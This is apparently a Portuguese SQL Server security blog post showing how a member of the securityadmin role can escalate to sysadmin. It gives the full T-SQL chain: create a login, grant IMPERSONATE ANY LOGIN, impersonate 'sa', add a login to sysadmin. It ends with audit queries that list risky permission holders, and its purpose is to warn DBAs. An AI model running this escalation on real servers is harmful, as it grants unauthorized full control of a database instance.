- Auditing in SQL Server (Server Audit)
- How to Create an Audit to Monitor Job Creation, Modification, and Deletion in SQL Server
- How to create an Audit trigger to log object manipulation in SQL Server
- SQL Server - How to implement login auditing and control (Logon Trigger)
- Monitoring DDL and DCL operations using SQL Server's fn_trace_gettable
- Using the standard SQL Server trace to audit events (fn_trace_gettable)
- SQL Server – Permissions and privileges audit trigger at database and instance level (GRANT and REVOKE)
- SQL Server - How to monitor and audit data changes in tables using Change Data Capture (CDC)
- SQL Server 2016 - How to "time travel" using the Temporal Tables feature
- SQL Server - How to use auditing to map actual required permissions on a user
- SQL Server - Trigger to prevent and prevent changes in tables
- SQL Server - How to Create a Data Change History for Your Tables (Audit Logs)
- SQL Server - How to avoid brute force attacks on your database
- SQL Server – Security Checklist – An SP with over 70 security items to validate your database
- SQL Server - How to know the last login date of a user
- SQL Server - How to avoid and protect yourself from Ransomware attacks like WannaCry on your database server
- SQL Server - Watch out for the securityadmin server role! Using elevation of privileges to become sysadmin
- SQL Server – How to avoid SQL Injection? Stop using Dynamic Query like EXEC(@Query). Now.
- SQL Server - Understanding the risks of the TRUSTWORTHY property enabled on a database
- SQL Server - Password Policies, Password Expiration, Mandatory Password Change and Login Blocking after several Attempts
- SQL Server - How to create a login audit using instance logs
Hey guys!
Nesse post eu gostaria de compartilhar com vocês uma situação extremamente perigosa que pode acabar passando desapercebida pela maioria dos DBA’s SQL Server, que é a utilização da role securityadmin ou das permissões ALTER ANY LOGIN e IMPERSONATE ANY LOGIN sem entender exatamente para que elas servem e o que alguém com essas permissões pode fazer.
Introduction
Segundo a documentação da Microsoft, que pode ser acessada clicando aqui, os membros da role securityadmin gerenciam logons e suas propriedades. Eles têm permissões de nível de servidor GRANT, REVOKE e DENY e podem ter essas mesmas permissões de nível de banco de dados também, se tiverem acesso ao banco de dados. Além disso, eles podem redefinir senhas para logons do SQL Server.
Apesar de eu já ter demonstrado essa demo em várias palestras pelo Brasil desde 2018 e também ter demonstrado no meu treinamento de Segurança de SQL Server, esse conteúdo ainda não estava disponível aqui no blog e por isso, eu gostaria de compartilhar isso com vocês.
securityadmin é igual a sysadmin?
Se você é um DBA que já adicionou algum usuário na role securityadmin após alguma solicitação e não chegou a questionar o motivo de precisar dessa role e não pesquisou mais sobre o que essa role pode fazer, deve estar preocupado agora.. rs
Na teoria, essas duas server roles são bem diferentes. A securityadmin é uma role que permite gerenciar logins e propriedades de logins. Já a role sysadmin, é uma role que permite fazer qualquer coisa, com privilégios irrestritos e nenhuma limitação de nada.
Então como que essas duas server roles são consideradas equivalentes, segundo a documentação da Microsoft?
Para demonstrar como isso funciona, criarei um usuário chamado teste_security_admin e vou associar esse usuário à server role securityadmin:
1 2 3 4 5 |
CREATE LOGIN [teste_security_admin] WITH PASSWORD = 'dirceu', DEFAULT_DATABASE=master, CHECK_EXPIRATION=OFF, CHECK_POLICY=OFF GO ALTER SERVER ROLE securityadmin ADD MEMBER [teste_security_admin] GO |
Agora vou me conectar na instância utilizando o usuário recém-criado:
Agora verificarei como estão minhas permissões e o usuário conectado:
1 2 3 4 5 6 7 8 9 |
SELECT USER_NAME() AS [USER_NAME], USER AS [USER], SESSION_USER AS [SESSION_USER], SUSER_SNAME() AS [SUSER_SNAME], SUSER_NAME() AS [SUSER_NAME], ORIGINAL_LOGIN() AS [ORIGINAL_LOGIN], IS_SRVROLEMEMBER('sysadmin') AS [IS_SYSADMIN], IS_SRVROLEMEMBER('securityadmin') AS [IS_SECURITYADMIN]; |
Apenas conferindo as permissões do usuário teste_security_admin:
1 2 |
SELECT * FROM sys.fn_my_permissions(NULL, 'SERVER') |
Tudo certo e conforme o esperado até agora. Tentarei aumentar meus níveis de acesso:
Ok, não deu certo. Tentarei personificar um usuário sysadmin (sa) para fazer o que eu quiser depois.
Não deu certo também… Tentarei então dar acesso de IMPERSONATE ANY LOGIN para mim mesmo e personificarei um usuário sysadmin (sa) para fazer o que eu quiser depois.
A mensagem foi bem clara: Não posso modificar os meus próprios acessos.
Bom, enquanto membro da role securityadmin, tenho a permissão ALTER ANY LOGIN, o que me permite gerenciar as permissões de qualquer login e também criar/apagar logins. E se eu criar outro login então?
1 2 |
CREATE LOGIN [exploit] WITH PASSWORD = 'hacker', CHECK_EXPIRATION=OFF, CHECK_POLICY=OFF, DEFAULT_DATABASE=master GO |
Agora darei acesso de IMPERSONATE ANY LOGIN para esse novo usuário. Com isso, poderei personificar o usuário “sa”.
1 2 3 4 5 |
USE [master] GO GRANT IMPERSONATE ANY LOGIN TO [exploit] GO |
Parece que deu certo. Testaremos se conectando na instância com esse novo usuário!
Vamos conferir as permissões atuais:
1 2 3 4 5 6 7 8 9 10 11 12 |
SELECT USER_NAME() AS [USER_NAME], USER AS [USER], SESSION_USER AS [SESSION_USER], SUSER_SNAME() AS [SUSER_SNAME], SUSER_NAME() AS [SUSER_NAME], ORIGINAL_LOGIN() AS [ORIGINAL_LOGIN], IS_SRVROLEMEMBER('sysadmin') AS [IS_SYSADMIN], IS_SRVROLEMEMBER('securityadmin') AS [IS_SECURITYADMIN] SELECT * FROM sys.fn_my_permissions(NULL, 'SERVER') |
Com apenas essa permissão de “IMPERSONATE ANY LOGIN” (sendo igualmente perigosa) que concedi para um novo login que acabei de criar, é que o estrago vem. Com essa permissão, posso personificar QUALQUER usuário da instância e executar comandos como se fosse ele (e herdando os mesmos níveis de permissão que ele possuir).
Veremos se isso é verdade mesmo e personificarei o usuário “sa”:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 |
EXECUTE AS LOGIN = 'sa' GO SELECT USER_NAME() AS [USER_NAME], USER AS [USER], SESSION_USER AS [SESSION_USER], SUSER_SNAME() AS [SUSER_SNAME], SUSER_NAME() AS [SUSER_NAME], ORIGINAL_LOGIN() AS [ORIGINAL_LOGIN], IS_SRVROLEMEMBER('sysadmin') AS [IS_SYSADMIN], IS_SRVROLEMEMBER('securityadmin') AS [IS_SECURITYADMIN] SELECT * FROM sys.fn_my_permissions(NULL, 'SERVER') |
Eita! Agora estou executando comandos como se fosse o usuário “sa”!! Olhem aí porque esse usuário sempre deve ser desativado e renomeado para um nome não padrão, conforme explico no artigo SQL Server – Como desativar o login “sa” minimizando impactos.
Ainda não acredita em mim? Vamos fazer o meu usuário antigo virar um sysadmin então:
1 2 3 4 5 6 7 8 9 10 11 |
-- Verifica se o login está na role sysadmin SELECT IS_SRVROLEMEMBER('sysadmin', 'teste_security_admin') GO -- Adiciona o login na role sysadmin ALTER SERVER ROLE sysadmin ADD MEMBER [teste_security_admin] GO -- Verifica novamente se o login está na role sysadmin SELECT IS_SRVROLEMEMBER('sysadmin', 'teste_security_admin') GO |
E para finalizar, vou me conectar de novo com o usuário teste_security_admin só para não deixar dúvidas e executo novamente a validação de permissões.
Ataque de elevação de privilégios realizado com sucesso e acesso de sysadmin obtido. Agora consigo total controle da instância.
Quer saber quem são os usuários que possuem as permissões ALTER ANY LOGIN ou IMPERSONATE ANY LOGIN?
1 2 3 4 5 6 7 8 |
SELECT B.[name], A.[permission_name] FROM sys.server_permissions A JOIN sys.server_principals B ON A.grantee_principal_id = B.principal_id WHERE A.[permission_name] IN ( 'IMPERSONATE ANY LOGIN', 'ALTER ANY LOGIN' ) |
Quer saber quem são os logins que pertencem à server role securityadmin ou sysadmin?
1 2 3 4 5 6 7 8 9 |
SELECT B.[name] AS [role], C.[name] AS [usuario] FROM sys.server_role_members A JOIN sys.server_principals B ON A.role_principal_id = B.principal_id JOIN sys.server_principals C ON A.member_principal_id = C.principal_id WHERE B.[name] IN ( 'sysadmin', 'securityadmin' ) |
Espero que vocês tenham gostado dessa dica de segurança e que isso possa te ajudar a manter seus dados mais seguros.
Um grande abraço e até o próximo artigo.
Very good description. Many thanks